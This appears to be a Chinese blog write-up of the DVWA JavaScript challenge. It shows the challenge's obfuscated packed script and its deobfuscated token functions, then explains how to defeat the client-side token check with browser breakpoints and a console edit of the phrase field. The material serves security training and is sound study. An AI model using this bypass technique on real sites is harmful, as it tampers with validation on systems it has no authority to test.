5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));

点我传送 - 解密

解密后文件,主要代码

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

分析

# 1. 分析:js中用来3个函数来计算token分别为:
- token_part_1(): 取phrase值并进行字符串翻转处理;
- token_part_2(): 传入参数字符串’YY’和token值拼接并调用sha256
- token_part_3(): 将token值和字符串’ZZ’拼接并调用sha256()加密,从而得到最终的token;

# 2. 函数执行的顺序
- (1). 首先将phrase 的值清空document.getElementById("phrase").value = “”;
- (2). 由于setTimeout函数有300毫秒延时,所以先执行了token_part_1("ABCD", 44)
- (3). 在执行2.然后再执行了 token_part_2("XX")
- (4). token_part_3被添加在提交按钮的click事件上,也就是点提交会触发执行最后执行。

# 3. javascript执行步骤

首先将 phrase 的值初始化为 空,这里是关键 后面我们需要把这里直接 console 设置为 success

document.getElementById("phrase").value = "";

选中 右侧的 mouse 监听 click 事件,此时浏览器就会自动解码 JS,然后在 token_part_1 下断点:

F12 -> Sources -> Event Listener Breakpoints -> Mouse -> click

wechat_20210531095201.png

此时取消 mouse 的 clik,重新刷新页面(F5),即下面的效果:

wechat_20210531095651.png

然后去 控制台 里面设置 phrase 的值:

document.getElementById("phrase").value = "success";

直接放行(submit or 放行) 就会直接成功了:

wechat_20210531095927.png

第一遍可能没有成功,缓存了之前操作,一般来说 第二次就会成功。

Level - Impossible

wechat_20210531100054.png

- You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.

- 防护的方法就是直接删掉了用户可以输入的地方,类似于国内 HW 直接把服务关的操作一样,我不开机你如何攻击这是高手这是高手。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章